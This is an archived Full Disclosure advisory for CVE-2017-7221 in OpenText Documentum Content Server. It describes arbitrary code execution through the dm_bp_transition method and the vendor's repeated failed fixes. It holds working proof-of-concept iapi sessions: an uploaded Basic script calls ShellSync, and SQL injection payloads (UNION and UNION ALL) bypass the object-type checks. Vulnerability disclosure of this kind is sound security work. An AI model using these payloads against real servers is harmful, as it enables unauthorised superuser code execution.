lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 25 Apr 2017 03:38:28 +1000
From: "Andrey B. Panfilov" <andrew@...filov.tel>
To: "'bugtraq@...urityfocus.com'" <bugtraq@...urityfocus.com>,
 "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] CVE-2017-7221. OpenText Documentum Content Server: arbitrary
 code execution in dm_bp_transition.ebs docbase method

CVE Identifier: CVE-2017-7221
Vendor: OpenText
Affected products: OpenText Documentum Content Server (all versions)
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Fix: not available
PoC: https://gist.github.com/andreybpanfilov/0a4fdfad561e59317a720e702b0fec44

Description: 

all versions of Documentum Content Server contain dm_bp_transition docbase 
method ("stored procedure”) which is written on basic, implementation of this docbase 
methods does not properly validate user input which allows attacker to execute arbitrary 
code with superuser privileges.

Related code snippet is:

==========================================8<========================================

'Evaluate the user-defined entry criteria
If (result = True And run_entry = "T") Then
If (debug = True) Then
PrintToLog sess, "Run user defined entry criteria."
End If
'
' researcher comment:
' userEntryID parameter is controlled by attacker
'
result = RunProcedure(userEntryID, 1, sess, sysID,_
user_name, targetState)
End If

...

'
' researcher comment:
' procID parameter is controlled by attacker
'

Function RunProcedure(procID As String, procNo As Integer,_
sessID As String, objID As String, userName As String,_
targetState As String) As Boolean

...

StartIt:
If (procID <> "0000000000000000") Then
result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg)
'
' researcher comment:
' here basic interpreter loads content of user-provided script
' from underlying repostiory using following technique:
' 
' checking that it is dealing with dm_procedure object
' (check was introduced in CVE-2014-2513):
' id,c,dm_procedure where r_object_id='procID'
' 
' getting content of basic script
' fetch,c,procID
' getpath,c,l
'

result = external(procID)
If (result = True) Then
If (procNo = 1) Then
' --- Running user-defined entry criteria ---
result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg)
On Error Goto NoFunction
'
' researcher comment
' here dmbasic interpreter executes user defined function
'
result = EntryCriteria(sessID, objID, userName,_
targetState, errorStack)
If (result = False) Then
errorStack = "[ErrorCode] 1500 [ServerError] " + _
errorStack
End If

==========================================>8========================================

So, attacker is able to create it’s own basic procedure in repository and pass it’s identifier
as argument for dm_bp_transition procedure:


==========================================8<========================================
$ cat /tmp/test
cat: /tmp/test: No such file or directory
$ cat > test.ebs
Public Function EntryCriteria(ByVal SessionId As String,_
ByVal ObjectId As String,_
ByVal UserName As String,_
ByVal TargetState As String,_
ByRef ErrorString As String) As Boolean
t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test")
EntryCriteria=True
End Function
$ iapi
Please enter a docbase name (docubase): repo
Please enter a user (dmadmin): unprivileged_user
Please enter password for unprivileged_user:


EMC Documentum iapi - Interactive API interface
(c) Copyright EMC Corp., 1992 - 2011
All rights reserved.
Client Library Release 6.7.1000.0027


Connecting to Server using docbase repo
[DM_SESSION_I_SESSION_START]info: "Session 0101d920800b1a37
started for user unprivileged_user."


Connected to Documentum Server running Release 6.7.1090.0170 Linux.Oracle
Session id is s0
API> create,c,dm_procedure
...
0801d920804e5416
API> set,c,l,object_name
SET> test
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> save,c,l
...
OK
API> ?,c,execute do_method with method='dm_bp_transition',
arguments='repo repo dmadmin "" 0000000000000000 0000000000000000
0000000000000000 0801d920804e5416 0000000000000000 0000000000000000
0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000'
(1 row affected)

API> Bye
$ cat /tmp/test
dm_bp_transition_has_vulnerability

==========================================>8========================================


Vendor was been notified about this vulnerability on November 2013 using customer 
support channel, after a while vendor started claiming that this vulnerability 
was remediated, though no CVE was announced. Moreover, the fix was contested
and CERT/CC started tracking this vulnerability, the PoC provided
to CERT/CC was:

==========================================8<========================================
Vendor have decided that the root cause of problem is users are able to
create dm_procedure objects, and now in Documentum Content Server
v6.7SP1P26 we have following behavior:

[DM_SESSION_I_SESSION_START]info: "Session 0101d920800f0174 started for
user unprivileged_user."


Connected to Documentum Server running Release 6.7.1260.0322 Linux.Oracle
Session id is s0
API> create,c,dm_procedure
...
0801d920805929d0
API> set,c,l,object_name
SET> test
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> save,c,l
...
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user
(unprivileged_user) needs to have superuser or sysadmin privilege."

BUT:

API> create,c,dm_document
...
0901d920805929dd
API> set,c,l,object_name
SET> test
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> save,c,l
...
OK

API> ?,c,execute do_method with
method='dm_bp_transition',arguments='repo repo dmadmin ""
0000000000000000 0000000000000000 0000000000000000 0901d920805929dd
0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T
dmadmin 0000000000000000'
(1 row affected)

....

API> Bye
~]$ cat /tmp/test
dm_bp_transition_has_vulnerability
~]$

==========================================>8========================================

On July 2014 vendor announced ESA-2014-064 which was claiming that vulnerability has been remediated.

On November 2014 fix was contested (there was significant delay after ESA-2014-064 because vendor 
constantly fails to provide status of reported vulnerabilities) by providing another proof of concept, 
description provided to CERT/CC was:

==========================================8<========================================
I have tried to reproduce PoC, described in VRF#HUFPRMOP, and got following
error:

[ErrorCode] 1000 [Parameter] 0801fd08805c9dfe [ServerError] Unexpected
error: [DM_API_W_NO_MATCH]warning: "There was no match in the
docbase for the qualification: dm_procedure where r_object_id =
'0801fd08805c9dfe'"

Such behaviour means that EMC tried to remediate a security issue by
"checking" object type of supplied object:

Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
Session id is s0
API> id,c,dm_procedure where r_object_id = '0801fd08805c9dfe'
...
[DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the
qualification: dm_procedure where r_object_id = '0801fd08805c9dfe'"

API> Bye

bin]$ strings dmbasic| grep dm_procedure
id,%s,dm_procedure where object_name = '%s' and folder('%s')
id,%s,dm_procedure where r_object_id = '%s'
# old version of dmbasic binary
bin]$ strings dmbasic| grep dm_procedure
bin]$

So, the fix was implemented in dmbasic binary, the problem is neither 6.7
SP2 P15 nor 6.7 SP1 P28 patches contain dmbasic binary - the first patch
that was shipped with dmbasic binary was 6.7SP2 P17. Moreover, the
issue is still reproducible because introduced check could be bypassed
using SQL injection:

~]$ cat test.ebs
Public Function EntryCriteria(ByVal SessionId As String,_
ByVal ObjectId As String,_
ByVal UserName As String,_
ByVal TargetState As String,_
ByRef ErrorString As String) As Boolean
t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test")
EntryCriteria=True
End Function
~]$ cat /tmp/test
cat: /tmp/test: No such file or directory

~]$ iapi
Please enter a docbase name (docubase): repo
Please enter a user (dmadmin): test01
Please enter password for test01:


EMC Documentum iapi - Interactive API interface
(c) Copyright EMC Corp., 1992 - 2011
All rights reserved.
Client Library Release 6.7.2190.0142


Connecting to Server using docbase repo
[DM_SESSION_I_SESSION_START]info: "Session 0101fd088014000c started for
user test01."


Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
Session id is s0
API> create,c,dm_sysobject
...
0801fd08805c9dfe
API> set,c,l,object_name
SET> test
...
OK
API> setfile,c,l,test.ebs,crtext
...
OK
API> save,c,l
...
OK
API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
repo repo dmadmin "" 0000000000000000 0000000000000000
0000000000000000 "0801fd08805c9dfe,'' union select r_object_id
from dm_sysobject where r_object_id=''0801fd08805c9dfe"
0000000000000000 0000000000000000 0000000000000000 ""
0 0 T F T T dmadmin 0000000000000000'

...

(1 row affected)

API> Bye
~]$ cat /tmp/test
dm_bp_transition_has_vulnerability
~]$

Here "union ..." allows to bypass check based on "id" call:

Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle
Session id is s0
API> id,c,dm_procedure where r_object_id='0801fd08805c9dfe,' union
select r_object_id from dm_sysobject where
r_object_id='0801fd08805c9dfe'
...
0801fd08805c9dfe
API> apply,c,,GET_LAST_SQL
...
q0
API> next,c,q0
...
OK
API> get,c,q0,result
...

select all dm_procedure.r_object_id from dm_procedure_sp dm_procedure where
((dm_procedure.r_object_id='0801fd08805c9dfe,')) and
(dm_procedure.i_has_folder = 1 and dm_procedure.i_is_deleted = 0)
union select all dm_sysobject.r_object_id from dm_sysobject_sp
dm_sysobject where ((dm_sysobject.r_object_id= '0801fd08805c9dfe'))
and (dm_sysobject.i_has_folder = 1 and dm_sysobject.i_is_deleted = 0)

API> close,c,q0
...
OK

Comma is required to bypass error in fetch call:
API> fetch,c,0801fd08805c9dfe' union select r_object_id from
dm_sysobject where r_object_id='0801fd08805c9dfe
...
[DM_API_E_BADID]error: "Bad ID given: 0801fd08805c9dfe' union
select r_object_id from dm_sysobject where r_object_id=
'0801fd08805c9dfe"


API> fetch,c,0801fd08805c9dfe,' union select r_object_id from
dm_sysobject where r_object_id='0801fd08805c9dfe
...
OK
==========================================>8========================================

On August 2015 vendor had undertaken another attempt to remediate this vulnerability
check ESA-2015-131/CVE-2015-4533 for details.

On August 2015 the fix was contested, check http://seclists.org/bugtraq/2015/Aug/110
for detailed description - I just demonstrated another attack vector - using 
UNION ALL keyword instead of UNION:

=================================8<================================
API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
repo repo dmadmin "" 0000000000000000 0000000000000000
0000000000000000 "0801fd08805c9dfe,'' union select r_object_id
from dm_sysobject where r_object_id=''0801fd08805c9dfe"
0000000000000000 0000000000000000 0000000000000000 ""
0 0 T F T T dmadmin 0000000000000000'

[DM_METHOD_E_METHOD_ARGS_INVALID]error:
"The arguments being passed to the method 'dm_bp_transition' are
invalid:
arguments contain sql keywords which are not allowed."


New attack vector (note ALL keyword):

API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS='
repo repo dmadmin "" 0000000000000000 0000000000000000
0000000000000000 "0801fd08805c9dfe,'' union all select r_object_id
from dm_sysobject where r_object_id=''0801fd08805c9dfe"
0000000000000000 0000000000000000 0000000000000000 ""
0 0 T F T T dmadmin 0000000000000000'

=================================>8================================


Recently I have noticed that latest versions of Documentum Content
Server are not affected by the PoC provided above, however all versions
of Documentum Content Server are still vulnerable because vendor incorrectly
implemented input validation: they convert arguments to lower/upper-case, 
replace line feed, carriage return and tab characters by a space, 
remove double spaces, after that they check where resulting string contains 
special keywords ('union ' and 'union all') or not - it is possible 
to use other whitespace characters like backspace, which is demonstrated
in the PoC.      


__

Regards,
Andrey B. Panfilov


View attachment "CVE-2017-7221.py" of type "text/x-python-script" (7011 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ